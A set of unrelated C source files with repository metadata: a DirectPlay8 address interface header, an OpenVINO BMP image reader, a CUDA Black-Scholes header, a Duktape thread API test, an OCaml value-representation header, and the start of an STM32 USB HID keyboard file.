static const WCHAR DPNA_KEY_PROGRAM[] = { 'p','r','o','g','r','a','m',0 };
static const WCHAR DPNA_KEY_PROVIDER[] = { 'p','r','o','v','i','d','e','r',0 };
static const WCHAR DPNA_KEY_SCOPE[] = { 's','c','o','p','e',0 };
static const WCHAR DPNA_KEY_STOPBITS[] = { 's','t','o','p','b','i','t','s',0 };
static const WCHAR DPNA_KEY_TRAVERSALMODE[] = { 't','r','a','v','e','r','s','a','l','m','o','d','e',0 };
static const WCHAR DPNA_STOP_BITS_ONE[] = { '1',0 };
static const WCHAR DPNA_STOP_BITS_ONE_FIVE[] = { '1','.','5',0 };
static const WCHAR DPNA_STOP_BITS_TWO[] = { '2',0 };
static const WCHAR DPNA_PARITY_NONE[] = { 'N','O','N','E',0 };
static const WCHAR DPNA_PARITY_EVEN[] = { 'E','V','E','N',0 };
static const WCHAR DPNA_PARITY_ODD[] = { 'O','D','D',0 };
static const WCHAR DPNA_PARITY_MARK[] = { 'M','A','R','K',0 };
static const WCHAR DPNA_PARITY_SPACE[] = { 'S','P','A','C','E',0 };
static const WCHAR DPNA_FLOW_CONTROL_NONE[] = { 'N','O','N','E',0 };
static const WCHAR DPNA_FLOW_CONTROL_XONXOFF[] = { 'X','O','N','X','O','F','F',0 };
static const WCHAR DPNA_FLOW_CONTROL_RTS[] = { 'R','T','S',0 };
static const WCHAR DPNA_FLOW_CONTROL_DTR[] = { 'D','T','R',0 };
static const WCHAR DPNA_FLOW_CONTROL_RTSDTR[] = { 'R','T','S','D','T','R',0 };
static const WCHAR DPNA_VALUE_TCPIPPROVIDER[] = { 'I','P',0 };
static const WCHAR DPNA_VALUE_IPXPROVIDER[] = { 'I','P','X',0 };
static const WCHAR DPNA_VALUE_MODEMPROVIDER[] = { 'M','O','D','E','M',0 };
static const WCHAR DPNA_VALUE_SERIALPROVIDER[] = { 'S','E','R','I','A','L',0 };
#endif
#define DPNA_BAUD_RATE_9600 9600
#define DPNA_BAUD_RATE_14400 14400
#define DPNA_BAUD_RATE_19200 19200
#define DPNA_BAUD_RATE_38400 38400
#define DPNA_BAUD_RATE_56000 56000
#define DPNA_BAUD_RATE_57600 57600
#define DPNA_BAUD_RATE_115200 115200
/*****************************************************************************
* Predeclare the interfaces
*/
DEFINE_GUID(CLSID_DirectPlay8Address, 0x934a9523, 0xa3ca, 0x4bc5, 0xad, 0xa0, 0xd6, 0xd9, 0x5d, 0x97, 0x94, 0x21);
DEFINE_GUID(IID_IDirectPlay8Address, 0x83783300, 0x4063, 0x4c8a, 0x9d, 0xb3, 0x82, 0x83, 0xa, 0x7f, 0xeb, 0x31);
typedef struct IDirectPlay8Address *PDIRECTPLAY8ADDRESS, *LPDIRECTPLAY8ADDRESS;
DEFINE_GUID(IID_IDirectPlay8AddressIP, 0xe5a0e990, 0x2bad, 0x430b, 0x87, 0xda, 0xa1, 0x42, 0xcf, 0x75, 0xde, 0x58);
typedef struct IDirectPlay8AddressIP *PDIRECTPLAY8ADDRESSIP, *LPDIRECTPLAY8ADDRESSIP;
/*****************************************************************************
* IDirectPlay8Address interface
*/
#define INTERFACE IDirectPlay8Address
DECLARE_INTERFACE_(IDirectPlay8Address,IUnknown)
{
/*** IUnknown methods ***/
STDMETHOD_(HRESULT,QueryInterface)(THIS_ REFIID riid, void** ppvObject) PURE;
STDMETHOD_(ULONG,AddRef)(THIS) PURE;
STDMETHOD_(ULONG,Release)(THIS) PURE;
/*** IDirectPlay8Address methods ***/
STDMETHOD(BuildFromURLW)(THIS_ WCHAR* pwszSourceURL) PURE;
STDMETHOD(BuildFromURLA)(THIS_ CHAR* pszSourceURL) PURE;
STDMETHOD(Duplicate)(THIS_ PDIRECTPLAY8ADDRESS* ppdpaNewAddress) PURE;
STDMETHOD(SetEqual)(THIS_ PDIRECTPLAY8ADDRESS pdpaAddress) PURE;
STDMETHOD(IsEqual)(THIS_ PDIRECTPLAY8ADDRESS pdpaAddress) PURE;
STDMETHOD(Clear)(THIS) PURE;
STDMETHOD(GetURLW)(THIS_ WCHAR* pwszURL, PDWORD pdwNumChars) PURE;
STDMETHOD(GetURLA)(THIS_ CHAR* pszURL, PDWORD pdwNumChars) PURE;
STDMETHOD(GetSP)(THIS_ GUID* pguidSP) PURE;
STDMETHOD(GetUserData)(THIS_ LPVOID pvUserData, PDWORD pdwBufferSize) PURE;
STDMETHOD(SetSP)(THIS_ const GUID* pguidSP) PURE;
STDMETHOD(SetUserData)(THIS_ const void* pvUserData, DWORD dwDataSize) PURE;
STDMETHOD(GetNumComponents)(THIS_ PDWORD pdwNumComponents) PURE;
STDMETHOD(GetComponentByName)(THIS_ const WCHAR* pwszName, LPVOID pvBuffer, PDWORD pdwBufferSize, PDWORD pdwDataType) PURE;
STDMETHOD(GetComponentByIndex)(THIS_ DWORD dwComponentID, WCHAR* pwszName, PDWORD pdwNameLen, void* pvBuffer, PDWORD pdwBufferSize, PDWORD pdwDataType) PURE;
STDMETHOD(AddComponent)(THIS_ const WCHAR* pwszName, const void* lpvData, DWORD dwDataSize, DWORD dwDataType) PURE;
STDMETHOD(GetDevice)(THIS_ GUID* pDevGuid) PURE;
STDMETHOD(SetDevice)(THIS_ const GUID* devGuid) PURE;
STDMETHOD(BuildFromDirectPlay4Address)(THIS_ LPVOID pvAddress, DWORD dwDataSize) PURE;
};
#undef INTERFACE
#if !defined(__cplusplus) || defined(CINTERFACE)
/*** IUnknown methods ***/
#define IDirectPlay8Address_QueryInterface(p,a,b) (p)->lpVtbl->QueryInterface(p,a,b)
#define IDirectPlay8Address_AddRef(p) (p)->lpVtbl->AddRef(p)
#define IDirectPlay8Address_Release(p) (p)->lpVtbl->Release(p)
/*** IDirectPlay8Address methods ***/
#define IDirectPlay8Address_BuildFromURLW(p,a) (p)->lpVtbl->BuildFromURLW(p,a)
#define IDirectPlay8Address_BuildFromURLA(p,a) (p)->lpVtbl->BuildFromURLA(p,a)
#define IDirectPlay8Address_Duplicate(p,a) (p)->lpVtbl->Duplicate(p,a)
#define IDirectPlay8Address_SetEqual(p,a) (p)->lpVtbl->SetEqual(p,a)
#define IDirectPlay8Address_IsEqual(p,a) (p)->lpVtbl->IsEqual(p,a)
#define IDirectPlay8Address_Clear(p) (p)->lpVtbl->Clear(p)
#define IDirectPlay8Address_GetURLW(p,a,b) (p)->lpVtbl->GetURLW(p,a,b)
#define IDirectPlay8Address_GetURLA(p,a,b) (p)->lpVtbl->GetURLA(p,a,b)
#define IDirectPlay8Address_GetSP(p,a) (p)->lpVtbl->GetSP(p,a)
#define IDirectPlay8Address_GetUserData(p,a,b) (p)->lpVtbl->GetUserData(p,a,b)
#define IDirectPlay8Address_SetSP(p,a) (p)->lpVtbl->SetSP(p,a)
#define IDirectPlay8Address_SetUserData(p,a,b) (p)->lpVtbl->SetUserData(p,a,b)
#define IDirectPlay8Address_GetNumComponents(p,a) (p)->lpVtbl->GetNumComponents(p,a)
#define IDirectPlay8Address_GetComponentByName(p,a,b,c,d) (p)->lpVtbl->GetComponentByName(p,a,b,c,d)
#define IDirectPlay8Address_GetComponentByIndex(p,a,b,c,d,e,f) (p)->lpVtbl->GetComponentByIndex(p,a,b,c,d,e,f)
#define IDirectPlay8Address_AddComponent(p,a,b,c,d) (p)->lpVtbl->AddComponent(p,a,b,c,d)
#define IDirectPlay8Address_SetDevice(p,a) (p)->lpVtbl->SetDevice(p,a)
#define IDirectPlay8Address_GetDevice(p,a) (p)->lpVtbl->GetDevice(p,a)
#define IDirectPlay8Address_BuildFromDirectPlay4Address(p,a,b) (p)->lpVtbl->BuildFromDirectPlay4Address(p,a,b)
#else
/*** IUnknown methods ***/
#define IDirectPlay8Address_QueryInterface(p,a,b) (p)->QueryInterface(a,b)
#define IDirectPlay8Address_AddRef(p) (p)->AddRef()
#define IDirectPlay8Address_Release(p) (p)->Release()
/*** IDirectPlay8Address methods ***/
#define IDirectPlay8Address_BuildFromURLW(p,a) (p)->BuildFromURLW(a)
#define IDirectPlay8Address_BuildFromURLA(p,a) (p)->BuildFromURLA(a)
#define IDirectPlay8Address_Duplicate(p,a) (p)->Duplicate(a)
#define IDirectPlay8Address_SetEqual(p,a) (p)->SetEqual(a)
#define IDirectPlay8Address_IsEqual(p,a) (p)->IsEqual(a)
#define IDirectPlay8Address_Clear(p) (p)->Clear()
#define IDirectPlay8Address_GetURLW(p,a,b) (p)->GetURLW(a,b)
#define IDirectPlay8Address_GetURLA(p,a,b) (p)->GetURLA(a,b)
#define IDirectPlay8Address_GetSP(p,a) (p)->GetSP(a)
#define IDirectPlay8Address_GetUserData(p,a,b) (p)->GetUserData(a,b)
#define IDirectPlay8Address_SetSP(p,a) (p)->SetSP(a)
#define IDirectPlay8Address_SetUserData(p,a,b) (p)->SetUserData(a,b)
#define IDirectPlay8Address_GetNumComponents(p,a) (p)->GetNumComponents(a)
#define IDirectPlay8Address_GetComponentByName(p,a,b,c,d) (p)->GetComponentByName(a,b,c,d)
#define IDirectPlay8Address_GetComponentByIndex(p,a,b,c,d,e,f) (p)->GetComponentByIndex(a,b,c,d,e,f)
#define IDirectPlay8Address_AddComponent(p,a,b,c,d) (p)->AddComponent(a,b,c,d)
#define IDirectPlay8Address_SetDevice(p,a) (p)->SetDevice(a)
#define IDirectPlay8Address_GetDevice(p,a) (p)->GetDevice(a)
#define IDirectPlay8Address_BuildFromDirectPlay4Address(p,a,b) (p)->BuildFromDirectPlay4Address(a,b)
#endif
/*****************************************************************************
* IDirectPlay8AddressIP interface
*/
#define INTERFACE IDirectPlay8AddressIP
DECLARE_INTERFACE_(IDirectPlay8AddressIP,IUnknown)
{
/*** IUnknown methods ***/
STDMETHOD_(HRESULT,QueryInterface)(THIS_ REFIID riid, void** ppvObject) PURE;
STDMETHOD_(ULONG,AddRef)(THIS) PURE;
STDMETHOD_(ULONG,Release)(THIS) PURE;
/*** IDirectPlay8AddressIP methods ***/
STDMETHOD(BuildFromSockAddr)(THIS_ const SOCKADDR* pSockAddr) PURE;
STDMETHOD(BuildAddress)(THIS_ const WCHAR* wszAddress, USHORT usPort) PURE;
STDMETHOD(BuildLocalAddress)(THIS_ const GUID* pguidAdapter, USHORT usPort) PURE;
STDMETHOD(GetSockAddress)(THIS_ SOCKADDR* pSockAddr, PDWORD) PURE;
STDMETHOD(GetLocalAddress)(THIS_ GUID* pguidAdapter, USHORT* pusPort) PURE;
STDMETHOD(GetAddress)(THIS_ WCHAR* wszAddress, PDWORD pdwAddressLength, USHORT* psPort) PURE;
};
#undef INTERFACE
#if !defined(__cplusplus) || defined(CINTERFACE)
/*** IUnknown methods ***/
#define IDirectPlay8AddressIP_QueryInterface(p,a,b) (p)->lpVtbl->QueryInterface(a,b)
#define IDirectPlay8AddressIP_AddRef(p) (p)->lpVtbl->AddRef()
#define IDirectPlay8AddressIP_Release(p) (p)->lpVtbl->Release()
/*** IDirectPlay8AddressIP methods ***/
#define IDirectPlay8AddressIP_BuildFromSockAddr(p,a) (p)->lpVtbl->BuildFromSockAddr(a)
#define IDirectPlay8AddressIP_BuildAddress(p,a,b) (p)->lpVtbl->BuildAddress(a,b)
#define IDirectPlay8AddressIP_BuildLocalAddress(p,a,b) (p)->lpVtbl->BuildLocalAddress(a,b)
#define IDirectPlay8AddressIP_GetSockAddress(p,a,b) (p)->lpVtbl->GetSockAddress(a,b)
#define IDirectPlay8AddressIP_GetLocalAddress(p,a,b) (p)->lpVtbl->GetLocalAddress(a,b)
#define IDirectPlay8AddressIP_GetAddress(p,a,b,c) (p)->lpVtbl->GetAddress(a,b,c)
#else
/*** IUnknown methods ***/
#define IDirectPlay8AddressIP_QueryInterface(p,a,b) (p)->QueryInterface(a,b)
#define IDirectPlay8AddressIP_AddRef(p) (p)->AddRef()
#define IDirectPlay8AddressIP_Release(p) (p)->Release()
/*** IDirectPlay8AddressIP methods ***/
#define IDirectPlay8AddressIP_BuildFromSockAddr(p,a) (p)->BuildFromSockAddr(a)
#define IDirectPlay8AddressIP_BuildAddress(p,a,b) (p)->BuildAddress(a,b)
#define IDirectPlay8AddressIP_BuildLocalAddress(p,a,b) (p)->BuildLocalAddress(a,b)
#define IDirectPlay8AddressIP_GetSockAddress(p,a,b) (p)->GetSockAddress(a,b)
#define IDirectPlay8AddressIP_GetLocalAddress(p,a,b) (p)->GetLocalAddress(a,b)
#define IDirectPlay8AddressIP_GetAddress(p,a,b,c) (p)->GetAddress(a,b,c)
#endif
/* Export functions */
HRESULT WINAPI DirectPlay8AddressCreate(const GUID* pcIID, LPVOID* ppvInterface, IUnknown* pUnknown);
#ifdef __cplusplus
}
#endif
#endif
|
d204cf90c2dbdbf14f1b74e74a0054f9c2d138a4
|
2ae0b8d95d439ccfd55ea7933ad4a2994ad0f6c5
|
/samples/c/common/opencv_c_wrapper/src/bmp_reader.c
|
ff553d58814b1cc6880626efccd4dc85f10c28dc
|
[
"Apache-2.0"
] |
permissive
|
openvinotoolkit/openvino
|
38ea745a247887a4e14580dbc9fc68005e2149f9
|
e4bed7a31c9f00d8afbfcabee3f64f55496ae56a
|
refs/heads/master
| 2023-08-18T03:47:44.572979
| 2023-08-17T21:24:59
| 2023-08-17T21:24:59
| 153,097,643
| 3,953
| 1,492
|
Apache-2.0
| 2023-09-14T21:42:24
| 2018-10-15T10:54:40
|
C++
|
UTF-8
|
C
| false
| false
| 3,679
|
c
|
bmp_reader.c
|
// Copyright (C) 2018-2023 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "bmp_reader.h"
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#define CLEANUP_AND_RETURN(x) \
if (0 != x && NULL != image && NULL != image->data) \
free(image->data); \
if (input != NULL) \
fclose(input); \
return x;
int readBmpImage(const char* fileName, BitMap* image) {
size_t cnt;
FILE* input = 0;
if (NULL == fileName || NULL == image) {
printf("[BMP] bad arguments\n");
CLEANUP_AND_RETURN(-1);
}
memset(image, 0, sizeof(BitMap));
input = fopen(fileName, "rb");
if (input == NULL) {
printf("[BMP] file %s is not opened\n", fileName);
CLEANUP_AND_RETURN(-1);
}
cnt = fread(&image->header.type, sizeof(image->header.type), sizeof(unsigned char), input);
if (cnt != sizeof(unsigned char)) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(-2);
}
if (image->header.type != 'M' * 256 + 'B') {
printf("[BMP] file is not bmp type\n");
CLEANUP_AND_RETURN(2);
}
cnt = fread(&image->header.size, sizeof(image->header.size), sizeof(unsigned char), input);
if (cnt != sizeof(unsigned char)) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(2);
}
cnt = fread(&image->header.reserved, sizeof(image->header.reserved), sizeof(unsigned char), input);
if (cnt != sizeof(unsigned char)) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(2);
}
cnt = fread(&image->header.offset, sizeof(image->header.offset), sizeof(unsigned char), input);
if (cnt != sizeof(unsigned char)) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(2);
}
cnt = fread(&image->infoHeader, sizeof(BmpInfoHeader), sizeof(unsigned char), input);
if (cnt != sizeof(unsigned char)) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(2);
}
image->width = image->infoHeader.width;
image->height = abs(image->infoHeader.height);
if (image->infoHeader.bits != 24) {
printf("[BMP] 24bpp only supported. But input has: %d\n", image->infoHeader.bits);
CLEANUP_AND_RETURN(3);
}
if (image->infoHeader.compression != 0) {
printf("[BMP] compression not supported\n");
CLEANUP_AND_RETURN(4);
}
int padSize = image->width & 3;
size_t row_size = (size_t)image->width * 3;
char pad[3];
size_t size = row_size * image->height;
image->data = malloc(sizeof(char) * size);
if (NULL == image->data) {
printf("[BMP] memory allocation failed\n");
CLEANUP_AND_RETURN(5);
}
if (0 != fseek(input, image->header.offset, SEEK_SET)) {
printf("[BMP] file seek error\n");
CLEANUP_AND_RETURN(2);
}
// reading by rows in invert vertically
int i;
int image_height = image->height;
for (i = 0; i < image_height; i++) {
int storeAt = image->infoHeader.height < 0 ? i : image_height - 1 - i;
cnt = fread(image->data + row_size * storeAt, row_size, sizeof(unsigned char), input);
if (cnt != sizeof(unsigned char)) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(2);
}
cnt = fread(pad, padSize, sizeof(unsigned char), input);
if ((padSize != 0 && cnt != 0) && (cnt != sizeof(unsigned char))) {
printf("[BMP] file read error\n");
CLEANUP_AND_RETURN(2);
}
}
return 0;
}
|
70956b6a0957b4c000de750bf7c9a85019d1363d
|
0e1217bb75a86846c8ff0fe05415b859bb43827a
|
/assignments/mp3/black_scholes.h
|
93913a4c92058da59962a7b2cbbbe8ef35f0aafe
|
[] |
no_license
|
jaredhoberock/stanford-cs193g-sp2010
|
78d18ab5187efc9bf2efd2ab46d8b1ead395a235
|
293b6fa8c66353f55ea27d88733c184fb2a17b21
|
refs/heads/master
| 2022-07-09T20:52:12.672824
| 2022-06-24T02:58:51
| 2022-06-24T02:58:51
| 32,198,543
| 184
| 87
| null | null | null | null |
UTF-8
|
C
| false
| false
| 3,204
|
h
|
black_scholes.h
|
#pragma once
#include "mp3-util.h"
void black_scholes_host(const real *d_stock_price,
const real *d_option_strike,
const real *d_option_years,
real *d_call_result,
real *d_put_result,
const real riskless_rate,
const real volatility,
const size_t n);
size_t filtered_black_scholes_host(const real *d_stock_price,
const real *d_option_strike,
const real *d_option_years,
const real *d_previous_round_call_result,
const real *d_previous_round_put_result,
real *d_call_result,
real *d_put_result,
const real min_call_result,
const real min_put_result,
const real riskless_rate,
const real volatility,
const size_t n);
size_t compacted_black_scholes_host(const real *d_stock_price,
const real *d_option_strike,
const real *d_option_years,
const real *d_previous_round_call_result,
const real *d_previous_round_put_result,
real *d_call_result,
real *d_put_result,
const real min_call_result,
const real min_put_result,
const real riskless_rate,
const real volatility,
const size_t n);
__global__
void black_scholes_kernel(const real *d_stock_price,
const real *d_option_strike,
const real *d_option_years,
real *d_call_result,
real *d_put_result,
const real riskless_rate,
const real volatility,
const size_t n);
__global__
void naively_filtered_black_scholes_kernel(const real *d_stock_price,
const real *d_option_strike,
const real *d_option_years,
const real *d_previous_round_call_result,
const real *d_previous_round_put_result,
real *d_call_result,
real *d_put_result,
const real min_call_result,
const real min_put_result,
const real riskless_rate,
const real volatility,
const size_t n);
|
7ef1530a946575849d8ab1b13118e2bbd4d493d2
|
94096248c1de2dcf46e69ca913cedfa290e44224
|
/tests/api/test-push-thread.c
|
1b0570a49cfc50d70038023161f480260068bd3e
|
[
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] |
permissive
|
svaarala/duktape
|
612110d1a6db46226c171cfd222974b1b3651ad5
|
5e169deafbbd12823665f5d30fb4c4c04e3dfa26
|
refs/heads/master
| 2023-08-06T16:43:33.014729
| 2022-11-17T21:02:08
| 2022-11-17T21:02:08
| 15,852,088
| 4,796
| 610
|
MIT
| 2023-09-11T17:13:01
| 2014-01-12T22:16:14
|
JavaScript
|
UTF-8
|
C
| false
| false
| 2,187
|
c
|
test-push-thread.c
|
static duk_ret_t my_print(duk_context *ctx) {
duk_push_string(ctx, " ");
duk_insert(ctx, 0);
duk_join(ctx, duk_get_top(ctx) - 1);
printf("%s\n", duk_safe_to_string(ctx, -1));
return 0;
}
/*===
*** test_1 (duk_safe_call)
duk_is_object(1) = 1
duk_is_thread(1) = 1
top=2
concat: foobarquux
done
==> rc=0, result='undefined'
*** test_2 (duk_safe_call)
top: 2
context a: bar
context b: undefined
==> rc=0, result='undefined'
===*/
/* Some basic tests. */
static duk_ret_t test_1(duk_context *ctx, void *udata) {
duk_idx_t thr_idx;
duk_context *new_ctx;
(void) udata;
duk_push_int(ctx, 123); /* dummy */
thr_idx = duk_push_thread(ctx);
printf("duk_is_object(%ld) = %d\n", (long) thr_idx, (int) duk_is_object(ctx, thr_idx));
printf("duk_is_thread(%ld) = %d\n", (long) thr_idx, (int) duk_is_thread(ctx, thr_idx));
printf("top=%ld\n", (long) duk_get_top(ctx));
/* use the thread (context) value stack */
new_ctx = duk_get_context(ctx, thr_idx);
duk_push_string(new_ctx, "foo");
duk_push_string(new_ctx, "bar");
duk_push_string(new_ctx, "quux");
duk_concat(new_ctx, 3);
printf("concat: %s\n", duk_get_string(new_ctx, -1));
/* make new thread unreachable, so it gets GC'd */
duk_set_top(ctx, 0);
printf("done\n");
return 0;
}
/* Thread with shared and fresh globals. */
static duk_ret_t test_2(duk_context *ctx, void *udata) {
duk_context *ctx_a;
duk_context *ctx_b;
(void) udata;
duk_eval_string_noresult(ctx, "this.globalFoo = 'bar';");
duk_push_thread(ctx);
ctx_a = duk_require_context(ctx, -1);
duk_push_thread_new_globalenv(ctx);
ctx_b = duk_require_context(ctx, -1);
printf("top: %ld\n", (long) duk_get_top(ctx));
/* Dummy print() binding. */
duk_push_c_function(ctx_b, my_print, 1);
duk_put_global_string(ctx_b, "print");
/* index 0: thread with globals shared with 'ctx' (has globalFoo)
* index 1: thread with globals separate with 'ctx'
*/
/* Print globalFoo. */
duk_peval_string_noresult(ctx_a, "print('context a: ' + String(this.globalFoo));");
duk_peval_string_noresult(ctx_b, "print('context b: ' + String(this.globalFoo));");
return 0;
}
void test(duk_context *ctx) {
TEST_SAFE_CALL(test_1);
TEST_SAFE_CALL(test_2);
}
|
f3084b22b7ed766374ee1b93abbc26d75dbe8074
|
878e856d2164cb65216fb3566d1b7b5c11bef0ae
|
/examples/containers/certicoq/values.h
|
6edbc013864085c63a8ba66f2727a4845d8274dd
|
[
"MIT"
] |
permissive
|
antalsz/hs-to-coq
|
bb7dac5d47b11333d4b17cb20a24d6e3c8386e82
|
cd62a35fff22cb6022a8935581746df658264f0f
|
refs/heads/master
| 2021-01-23T02:31:29.451934
| 2020-11-11T00:03:03
| 2020-11-11T00:03:03
| 85,992,369
| 301
| 33
|
MIT
| 2020-11-02T16:20:42
| 2017-03-23T20:03:34
|
Coq
|
UTF-8
|
C
| false
| false
| 7,732
|
h
|
values.h
|
/**************************************************************************/
/* */
/* OCaml */
/* */
/* Xavier Leroy and Damien Doligez, INRIA Rocquencourt */
/* */
/* Copyright 1996 Institut National de Recherche en Informatique et */
/* en Automatique. */
/* */
/* All rights reserved. This file is distributed under the terms of */
/* the GNU Lesser General Public License version 2.1, with the */
/* special exception on linking described in the file LICENSE. */
/* */
/**************************************************************************/
#ifndef VALUES_H
#define VALUES_H
#include "config.h"
#ifdef __cplusplus
extern "C" {
#endif
/* Definitions
word: Four bytes on 32 and 16 bit architectures,
eight bytes on 64 bit architectures.
long: A C integer having the same number of bytes as a word.
val: The ML representation of something. A long or a block or a pointer
outside the heap. If it is a block, it is the (encoded) address
of an object. If it is a long, it is encoded as well.
block: Something allocated. It always has a header and some
fields or some number of bytes (a multiple of the word size).
field: A word-sized val which is part of a block.
bp: Pointer to the first byte of a block. (a char *)
op: Pointer to the first field of a block. (a value *)
hp: Pointer to the header of a block. (a char *)
int32_t: Four bytes on all architectures.
int64_t: Eight bytes on all architectures.
Remark: A block size is always a multiple of the word size, and at least
one word plus the header.
bosize: Size (in bytes) of the "bytes" part.
wosize: Size (in words) of the "fields" part.
bhsize: Size (in bytes) of the block with its header.
whsize: Size (in words) of the block with its header.
hd: A header.
tag: The value of the tag field of the header.
color: The value of the color field of the header.
This is for use only by the GC.
*/
typedef intnat value;
typedef uintnat header_t;
typedef uintnat mlsize_t;
typedef unsigned int tag_t; /* Actually, an unsigned char */
typedef uintnat color_t;
typedef uintnat mark_t;
/* Longs vs blocks. */
#define Is_long(x) (((x) & 1) != 0)
#define Is_block(x) (((x) & 1) == 0)
/* Conversion macro names are always of the form "to_from". */
/* Example: Val_long as in "Val from long" or "Val of long". */
#define Val_long(x) ((intnat) (((uintnat)(x) << 1)) + 1)
#define Long_val(x) ((x) >> 1)
#define Max_long (((intnat)1 << (8 * sizeof(value) - 2)) - 1)
#define Min_long (-((intnat)1 << (8 * sizeof(value) - 2)))
#define Val_int(x) Val_long(x)
#define Int_val(x) ((int) Long_val(x))
#define Unsigned_long_val(x) ((uintnat)(x) >> 1)
#define Unsigned_int_val(x) ((int) Unsigned_long_val(x))
/* Structure of the header:
For 16-bit and 32-bit architectures:
+--------+-------+-----+
| wosize | color | tag |
+--------+-------+-----+
bits 31 10 9 8 7 0
For 64-bit architectures:
+--------+-------+-----+
| wosize | color | tag |
+--------+-------+-----+
bits 63 10 9 8 7 0
For x86-64 with Spacetime profiling:
P = PROFINFO_WIDTH (as set by "configure", currently 26 bits, giving a
maximum block size of just under 4Gb)
+----------------+----------------+-------------+
| profiling info | wosize | color | tag |
+----------------+----------------+-------------+
bits 63 (64-P) (63-P) 10 9 8 7 0
*/
#define PROFINFO_SHIFT (64 - PROFINFO_WIDTH)
#define PROFINFO_MASK ((1ull << PROFINFO_WIDTH) - 1ull)
#define Tag_hd(hd) ((tag_t) ((hd) & 0xFF))
#ifdef WITH_SPACETIME
#define Hd_no_profinfo(hd) ((hd) & ~(PROFINFO_MASK << PROFINFO_SHIFT))
#define Wosize_hd(hd) ((mlsize_t) ((Hd_no_profinfo(hd)) >> 10))
#else
#define Wosize_hd(hd) ((mlsize_t) ((hd) >> 10))
#endif /* SPACETIME */
#ifdef ARCH_SIXTYFOUR
/* [Profinfo_hd] is used when the compiler is not configured for Spacetime
(e.g. when decoding profiles). */
#define Profinfo_hd(hd) (((mlsize_t) ((hd) >> PROFINFO_SHIFT)) & PROFINFO_MASK)
#else
#define Profinfo_hd(hd) ((hd) & 0)
#endif /* ARCH_SIXTYFOUR */
#define Hd_val(val) (((header_t *) (val)) [-1]) /* Also an l-value. */
#define Hd_op(op) (Hd_val (op)) /* Also an l-value. */
#define Hd_bp(bp) (Hd_val (bp)) /* Also an l-value. */
#define Hd_hp(hp) (* ((header_t *) (hp))) /* Also an l-value. */
#define Hp_val(val) (((header_t *) (val)) - 1)
#define Hp_op(op) (Hp_val (op))
#define Hp_bp(bp) (Hp_val (bp))
#define Val_op(op) ((value) (op))
#define Val_hp(hp) ((value) (((header_t *) (hp)) + 1))
#define Op_hp(hp) ((value *) Val_hp (hp))
#define Bp_hp(hp) ((char *) Val_hp (hp))
#define Num_tags (1 << 8)
#ifdef ARCH_SIXTYFOUR
#ifdef WITH_SPACETIME
#define Max_wosize (((intnat)1 << (54-PROFINFO_WIDTH)) - 1)
#else
#define Max_wosize (((intnat)1 << 54) - 1)
#endif
#else
#define Max_wosize ((1 << 22) - 1)
#endif
#define Wosize_val(val) (Wosize_hd (Hd_val (val)))
#define Wosize_op(op) (Wosize_val (op))
#define Wosize_bp(bp) (Wosize_val (bp))
#define Wosize_hp(hp) (Wosize_hd (Hd_hp (hp)))
#define Whsize_wosize(sz) ((sz) + 1)
#define Wosize_whsize(sz) ((sz) - 1)
#define Wosize_bhsize(sz) ((sz) / sizeof (value) - 1)
#define Bsize_wsize(sz) ((sz) * sizeof (value))
#define Wsize_bsize(sz) ((sz) / sizeof (value))
#define Bhsize_wosize(sz) (Bsize_wsize (Whsize_wosize (sz)))
#define Bhsize_bosize(sz) ((sz) + sizeof (header_t))
#define Bosize_val(val) (Bsize_wsize (Wosize_val (val)))
#define Bosize_op(op) (Bosize_val (Val_op (op)))
#define Bosize_bp(bp) (Bosize_val (Val_bp (bp)))
#define Bosize_hd(hd) (Bsize_wsize (Wosize_hd (hd)))
#define Whsize_hp(hp) (Whsize_wosize (Wosize_hp (hp)))
#define Whsize_val(val) (Whsize_hp (Hp_val (val)))
#define Whsize_bp(bp) (Whsize_val (Val_bp (bp)))
#define Whsize_hd(hd) (Whsize_wosize (Wosize_hd (hd)))
#define Bhsize_hp(hp) (Bsize_wsize (Whsize_hp (hp)))
#define Bhsize_hd(hd) (Bsize_wsize (Whsize_hd (hd)))
#define Bhsize_val(val) (Bsize_wsize (Whsize_val (val)))
#define Profinfo_val(val) (Profinfo_hd (Hd_val (val)))
#ifdef ARCH_BIG_ENDIAN
#define Tag_val(val) (((unsigned char *) (val)) [-1])
/* Also an l-value. */
#define Tag_hp(hp) (((unsigned char *) (hp)) [sizeof(value)-1])
/* Also an l-value. */
#else
#define Tag_val(val) (((unsigned char *) (val)) [-sizeof(value)])
/* Also an l-value. */
#define Tag_hp(hp) (((unsigned char *) (hp)) [0])
/* Also an l-value. */
#endif
/* Pointer to the first field. */
#define Op_val(x) ((value *) (x))
/* Fields are numbered from 0. */
#define Field(x, i) (((value *)(x)) [i]) /* Also an l-value. */
/* Pointer to the first byte */
#define Bp_val(v) ((char *) (v))
#define Val_bp(p) ((value) (p))
/* Bytes are numbered from 0. */
#define Byte(x, i) (((char *) (x)) [i]) /* Also an l-value. */
#define Byte_u(x, i) (((unsigned char *) (x)) [i]) /* Also an l-value. */
#ifdef __cplusplus
}
#endif
#endif /* VALUES_H */
|
6d64e32bebfc5b89fd57282c9b96549ad65a5d5a
|
e910318d01528d82040507a49eeeb8dade45b31f
|
/ports/stm32/usbhost/Class/HID/Src/usbh_hid_keybd.c
|
79104767bf90d51e2cd9ace9eb3e4fc2812d98eb
|
[
"MIT"
] |
permissive
|
pfalcon/pycopy
|
e844480a5e5cd463530328889daed2ba87552b8a
|
3ac90ae9c3c6bbebfba9cada2d37025e35c62796
|
refs/heads/pfalcon
| 2023-08-30T09:39:52.290147
| 2022-09-08T16:42:38
| 2022-09-08T16:42:38
| 15,507,576
| 753
| 71
|
MIT
| 2021-05-08T04:59:21
| 2013-12-29T11:38:47
|
C
|
UTF-8
|
C
| false
| false
| 15,096
|
c
|
usbh_hid_keybd.c
|
/**
******************************************************************************
* @file usbh_hid_keybd.c
* @author MCD Application Team
* @version V3.0.0
* @date 18-February-2014
* @brief This file is the application layer for USB Host HID Keyboard handling
* QWERTY and AZERTY Keyboard are supported as per the selection in
* usbh_hid_keybd.h
******************************************************************************
* @attention
*
